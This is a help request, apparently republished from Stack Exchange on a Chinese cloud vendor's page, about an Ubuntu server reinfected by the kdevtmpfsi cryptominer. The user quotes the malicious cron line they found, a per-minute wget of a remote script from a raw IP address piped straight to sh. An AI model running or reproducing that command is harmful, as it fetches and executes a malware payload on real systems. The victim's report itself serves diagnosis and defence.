You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Ubuntu 22.04服务器遭kdevtmpfsi恶意软件感染求助

Ubuntu 22.04服务器遭kdevtmpfsi恶意软件感染求助

我刚搭建好的服务器就被kdevtmpfsi恶意软件感染了。我查了不少文章,都讲如何彻底清除这个恶意软件,但试下来没有一个方法对我管用。每次折腾一番“清理”完系统,过几个小时它就会卷土重来,还把CPU占用拉到100%。

我了解到这类服务器感染大多是通过Redis或Docker途径,但我根本没有使用Redis。

在服务器的/tmp目录下,有一个/tmp/kdevtmpfsi/文件夹。有些教程建议执行chmod 000 /tmp/kdevtmpfsi来限制这个文件的访问权限,但哪怕我用root身份执行这个命令,还是会收到Operation not permitted(操作不被允许)的报错。

我运行crontab -l查看定时任务时,发现了这一行:

* * * * * wget -q -O - http://185.122.204.197/sc.sh | sh > /dev/null 2>&1

我当然立刻把这行从定时任务里删掉了,但没过几分钟它又自动恢复了。

我还尝试用nmap工具扫描服务器的开放端口,得到了对应的端口扫描结果截图。

备注:内容来源于stack exchange,提问作者user984621

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.17 11:05:34